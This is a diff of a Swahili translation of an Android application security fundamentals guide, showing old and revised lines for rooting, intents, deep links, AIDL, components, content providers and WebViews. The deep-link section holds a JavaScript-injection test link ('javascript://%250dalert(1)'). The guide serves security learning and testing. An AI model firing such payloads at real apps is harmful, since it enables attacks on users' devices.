Ili kupata upatikanaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kudukua** 1 au 2 **mapungufu** ambayo kwa kawaida huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Maranyingi baada ya kudukua, kawaida `su` ya Linux hulingizwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
|
||||
Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kawaida huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Maranyingi baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
|
||||
|
||||
Baada ya kuweka su binary, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutuma maombi ya upatikanaji wa msingi** kama vile **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
||||
Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutimiza maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tambua kwamba mchakato wa kuroot ni hatari sana na unaweza kuharibu vibaya kifaa
|
||||
|
@ -80,25 +80,25 @@ Tambua kwamba mchakato wa kuroot ni hatari sana na unaweza kuharibu vibaya kifaa
|
|||
|
||||
### ROMs
|
||||
|
||||
Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kupanua matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata upatikanaji wa msimbo wa Android wa hivi karibuni.\
|
||||
Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kuongeza matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata ufikiaji wa msimbo wa Android wa hivi karibuni.\
|
||||
**OmniROM** na **LineageOS** ni moja ya firmware maarufu zaidi kutumia.
|
||||
|
||||
Tambua kwamba **sio lazima kila wakati kuroot kifaa** kusanikisha firmware ya desturi. **Baadhi ya watengenezaji huruhusu** kufungua bootloader zao kwa njia iliyodokezwa vizuri na salama.
|
||||
|
||||
### Matokeo
|
||||
|
||||
Maranyingi kifaa kikisha kuroot, programu yoyote inaweza kuomba upatikanaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata upatikanaji wa karibu kila kitu na itaweza kuharibu simu.
|
||||
Maranyingi kifaa kikiroot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu.
|
||||
|
||||
## Misingi ya Maombi ya Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Muundo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha jina la kielezo cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
|
||||
- Muundo wa maombi ya Android unaitwa _muundo wa faili ya APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
|
||||
- Yaliyomo ya APK (Hayakamilishi)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: ina rasilimali zilizopangwa mapema, kama XML ya binary.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Hapa ndipo Cheti lilipo!
|
||||
- Hapa ndipo Cheti linapatikana!
|
||||
- **classes.dex**
|
||||
- Ina bytecode ya Dalvik, ikionyesha msimbo uliokompiliwa wa Java (au Kotlin) ambao programu inatekeleza kwa chaguo-msingi.
|
||||
- lib/
|
||||
|
@ -108,12 +108,12 @@ Maranyingi kifaa kikisha kuroot, programu yoyote inaweza kuomba upatikanaji kama
|
|||
- `x86`: msimbo kwa processors za X86
|
||||
- `mips`: msimbo kwa processors za MIPS pekee
|
||||
- assets/
|
||||
- Hifadhi faili mbalimbali inayohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingi hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi.
|
||||
- Inahifadhi faili mbalimbali zinazohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingi hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi.
|
||||
- res/
|
||||
- Ina rasilimali ambazo hazijakusanywa katika resources.arsc
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia nambari hii, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android.
|
||||
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Awali, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android.
|
||||
|
||||
Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kuvunja tena katika muktadha huu.
|
||||
|
||||
|
@ -127,7 +127,7 @@ Ili kuwa rahisi, Intent inaweza kutumika:
|
|||
* Kuanza Shughuli, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
|
||||
* Kama matangazo ya kuarifu mfumo na programu za mabadiliko
|
||||
* Kuanza, kusimamisha, na kuwasiliana na huduma ya nyuma
|
||||
* Kupata data kupitia Watoa Huduma wa Yaliyomo
|
||||
* Kupata data kupitia Watoaji wa Yaliyomo
|
||||
* Kama maingiliano ya kushughulikia matukio
|
||||
|
||||
Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**.
|
||||
|
@ -136,9 +136,9 @@ Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashamb
|
|||
|
||||
**Intent Filters** hufafanua **jinsi shughuli, huduma, au Kipokeaji cha Matangazo kinaweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengee hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanayoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Kipokeaji cha Matangazo, kuandika ni chaguo pia.
|
||||
|
||||
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kujumuisha metadata ziada. Hii inaruhusu vipengee kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
|
||||
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kuingiza metadata ziada. Hii inaruhusu vipengee kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
|
||||
|
||||
Jambo muhimu la vipengee vya Android (shughuli/huduma/watoa huduma wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengee kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu zingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimetangazwa kwa hiyo katika maelezo yake. Walakini, kuna njia kwa watengenezaji kudumisha vipengee hivi kuwa binafsi, kuhakikisha kuwa haviingiliani na programu zingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maelezo.
|
||||
Jambo muhimu la vipengee vya Android (shughuli/huduma/watoaji wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengee kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu zingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimetangazwa kwa hiyo katika maelezo yake. Walakini, kuna njia kwa watengenezaji kudumisha vipengee hivi kuwa binafsi, kuhakikisha kuwa haviingiliani na programu zingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maandishi.
|
||||
|
||||
Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengee hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`permission`** inaweza kuwekwa ili kuhakikisha kuwa ni programu zenye ruhusa iliyopewa tu ndizo zinaweza kupata kipengee, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho.
|
||||
```java
|
||||
|
@ -148,13 +148,13 @@ Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengee
|
|||
```
|
||||
### Nia Zisizo Dhahiri
|
||||
|
||||
Nia hutengenezwa kwa kutumia kujenga kwa programu kwa kutumia kujenga kwa Nia:
|
||||
Nia hutengenezwa kwa kutumia kujenzi la Nia:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Hatua** ya nia iliyotangazwa awali ni **ACTION\_SEND** na **Zaidi** ni mailto **Uri** (Zaidi ni habari ya ziada ambayo nia inatarajia).
|
||||
|
||||
Nia hii inapaswa kutangazwa ndani ya mwonekano kama ilivyo katika mfano ufuatao:
|
||||
Nia hii inapaswa kutangazwa ndani ya mwonekano kama katika mfano ufuatao:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -165,11 +165,11 @@ Nia hii inapaswa kutangazwa ndani ya mwonekano kama ilivyo katika mfano ufuatao:
|
|||
```
|
||||
Intent-filter inahitaji kufanana na **action**, **data** na **category** ili kupokea ujumbe.
|
||||
|
||||
Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani itapokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
|
||||
Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani inapaswa kupokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
|
||||
|
||||
### Intents Dhahiri
|
||||
|
||||
Intent dhahiri inabainisha jina la darasa inayolengwa:
|
||||
Intent dhahiri inabainisha jina la darasa inayolenga:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
@ -181,7 +181,7 @@ context.startService(intent);
|
|||
```
|
||||
### Pending Intents
|
||||
|
||||
Hizi huruhusu programu zingine kuchukua hatua kwa niaba ya programu yako, zikitumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa kufafanua nia na hatua ya kutekeleza. Ikiwa nia iliyotangazwa sio Wazi (haifafanui ni nia ipi inaweza kuita), programu hasidi inaweza kutekeleza hatua iliyotangazwa kwa niaba ya programu ya mwathiriwa. Zaidi ya hayo, ikiwa hatua haijafafanuliwa, programu hasidi itaweza kufanya hatua yoyote kwa niaba ya mwathiriwa.
|
||||
Hizi huruhusu programu zingine kuchukua hatua kwa niaba ya programu yako, zikitumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa kufafanua nia na hatua ya kutekeleza. Ikiwa nia iliyotangazwa sio Wazi (haifafanui ni nia gani inaweza kuita), programu hasidi inaweza kutekeleza hatua iliyotangazwa kwa niaba ya programu ya mwathiriwa. Zaidi ya hayo, ikiwa hatua haijatajwa, programu hasidi itaweza kufanya hatua yoyote kwa niaba ya mwathiriwa.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
|
@ -191,7 +191,7 @@ Kwa kuongezea, ni rahisi pia kufafanua ruhusa wakati wa kutuma matangazo. Progra
|
|||
|
||||
Kuna aina mbili za Matangazo: Kawaida (asynchronous) na Yaliyopangwa (synchronous). Mpangilio unategemea kipaumbele kilichowekwa ndani ya kipokeaji. Kila programu inaweza kusindika, kusambaza, au kudondosha Matangazo.
|
||||
|
||||
Inawezekana kutuma matangazo kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`. Unaweza pia kutumia kazi `sendBroadcast` kutoka kwa `LocalBroadCastManager` kuhakikisha ujumbe hauondoki kamwe kwenye programu. Kwa kutumia hii, hata hautahitaji kuuza kipokeaji.
|
||||
Inawezekana kutuma tangazo kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`. Unaweza pia kutumia kazi `sendBroadcast` kutoka kwa `LocalBroadCastManager` kuhakikisha ujumbe hauondoki kamwe kwenye programu. Kwa kutumia hii, hata hautahitaji kuuza kipokeaji.
|
||||
|
||||
### Matangazo ya Sticky
|
||||
|
||||
|
@ -203,7 +203,7 @@ Ikiwa unapata kazi zinazoleta neno "sticky" kama `sendStickyBroadcast` au `sendS
|
|||
|
||||
Katika programu za Android, viungo vya kina hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza mpango maalum wa URL ndani ya shughuli. Wakati kifaa cha Android kinajaribu kupata URL na mpango huu, shughuli iliyotajwa ndani ya programu inazinduliwa.
|
||||
|
||||
Mpango lazima utangazwe katika faili ya `AndroidManifest.xml`:
|
||||
Mpango huo lazima utangazwe katika faili ya `AndroidManifest.xml`:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -223,7 +223,7 @@ Kisha, katika uga wa data, unaweza kufafanua **host** na **path**:
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Kuipata kutoka kwenye wavuti ni rahisi kuweka kiungo kama:
|
||||
Ili kuipata kutoka kwenye wavuti, ni rahisi kuweka kiungo kama:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
|
@ -234,13 +234,13 @@ Jifunze jinsi ya [kuita viungo vya kina bila kutumia kurasa za HTML](./#exploiti
|
|||
|
||||
## AIDL - Lugha ya Ufafanuzi wa Interface ya Android
|
||||
|
||||
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa ajili ya kurahisisha mawasiliano kati ya mteja na huduma kwenye programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata moja kwa moja kumbukumbu ya michakato mingine haikubaliki kwenye Android, AIDL inasahilisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa kusaidia mawasiliano kati ya mteja na huduma kwenye programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata moja kwa moja kumbukumbu ya mchakato mwingine haikubaliki kwenye Android, AIDL inasahilisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
|
||||
### Dhana Kuu
|
||||
|
||||
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` kwenye darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu.
|
||||
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` kwenye darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana kwa ukaguzi wa usalama kutafuta mapungufu.
|
||||
|
||||
- **Mtume (Messenger)**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa kushughulikia data yoyote isiyokuwa salama au utekelezaji wa kazi nyeti.
|
||||
- **Mtume (Messenger)**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa kushughulikia data zisizo salama au utekelezaji wa kazi nyeti.
|
||||
|
||||
- **Kifungu (Binder)**: Ingawa matumizi moja kwa moja ya darasa la Binder ni nadra kutokana na ujumuishaji wa AIDL, ni faida kuelewa kuwa Binder hufanya kazi kama dereva wa kiwango cha kernel kurahisisha uhamishaji wa data kati ya nafasi za kumbukumbu za michakato tofauti. Kwa uelewa zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
|
@ -250,7 +250,7 @@ Hivi ni pamoja na: **Shughuli (Activities), Huduma (Services), Wapokeaji wa Mata
|
|||
|
||||
### Shughuli ya Kuzindua na shughuli nyingine
|
||||
|
||||
Kwenye programu za Android, **shughuli (activities)** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji.
|
||||
Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji.
|
||||
|
||||
**Shughuli ya kuzindua (launcher activity)** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza ishara ya programu. Imeelezwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER:
|
||||
```markup
|
||||
|
@ -263,7 +263,7 @@ Kwenye programu za Android, **shughuli (activities)** ni kama skrini, zikionyesh
|
|||
```
|
||||
Haitaji shughuli zote shughuli ya kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma.
|
||||
|
||||
Shughuli zinaweza kuwezeshwa kwa programu au michakato mingine kwa kuziweka kama "zilizouzwa" katika hati ya maandishi. Mipangilio hii inaruhusu programu zingine kuanza shughuli hii:
|
||||
Shughuli zinaweza kuwezeshwa kwa programu zingine au michakato mingine kwa kuziweka kama "zilizouzwa" kwenye hati ya maandishi. Mipangilio hii inaruhusu programu zingine kuanza shughuli hii:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -273,7 +273,7 @@ Hata hivyo, kupata shughuli kutoka kwa programu nyingine sio hatari ya usalama k
|
|||
|
||||
### Darasa la Maombi
|
||||
|
||||
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzisha mapema kabla ya sehemu nyingine ya maombi kuanza.
|
||||
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -291,11 +291,11 @@ super.onCreate();
|
|||
```
|
||||
### Huduma
|
||||
|
||||
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila interface ya mtumiaji. Kazi hizi zinaweza kuendelea kufanya kazi hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **operesheni ndefu**.
|
||||
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**.
|
||||
|
||||
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia njia ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, njia ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
|
||||
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea kukimbia hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
|
||||
|
||||
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kupeleka**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
|
||||
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kuagiza**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -303,19 +303,19 @@ Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata dat
|
|||
|
||||
**Wapokeaji wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokeaji waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili.
|
||||
|
||||
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kuanza kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kurekebisha tabia kulingana na hali, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua.
|
||||
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kufanya kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kurekebisha tabia kulingana na hali, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua.
|
||||
|
||||
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **yasinkroni**, ambapo wapokeaji wanapata tangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
|
||||
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **yasinkroni**, ambapo wapokeaji wanapokea tangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
|
||||
|
||||
Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokeaji, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kuhariri au kudondosha Nia.
|
||||
|
||||
### Mtoaji wa Yaliyomo
|
||||
|
||||
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichanganya sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa udhibiti wa upatikanaji wa kina.
|
||||
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichangamana na sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa kudhibiti upatikanaji kwa undani.
|
||||
|
||||
Uthibitishaji wa kuingia ni muhimu kuzuia udhaifu, kama vile mashambulizi ya SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu.
|
||||
Uthibitishaji wa kuingiza ni muhimu kuzuia udhaifu, kama vile kuingiza SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu.
|
||||
|
||||
**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imefafanuliwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti kwa bahati mbaya.
|
||||
**FileProvider**, Mtoaji Maalum wa Yaliyomo, unazingatia kushiriki faili kwa usalama. Imetajwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti kwa bahati mbaya.
|
||||
|
||||
Mfano wa tangazo la mwongozo kwa FileProvider:
|
||||
```xml
|
||||
|
@ -334,12 +334,12 @@ Na mfano wa kueleza folda zilizoshirikiwa katika `filepaths.xml`:
|
|||
</paths>
|
||||
```
|
||||
Kwa maelezo zaidi angalia:
|
||||
- [Android Developers: Watoa Huduma wa Yaliyomo](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
- [Waendelezaji wa Android: Watoa Huduma wa Yaliyomo](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Waendelezaji wa Android: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka kwenye wavuti au kutoka kwenye faili za ndani. Wanakabili hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka wavuni au kutoka kwenye faili za ndani. Wanakabili hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
|
||||
|
||||
Android inatoa aina mbili kuu za WebView:
|
||||
|
||||
|
@ -357,19 +357,19 @@ Kuruhusu ufikiaji wa yaliyomo (````setAllowContentAccess(true)````) inaruhusu We
|
|||
Kudhibiti ufikiaji wa faili:
|
||||
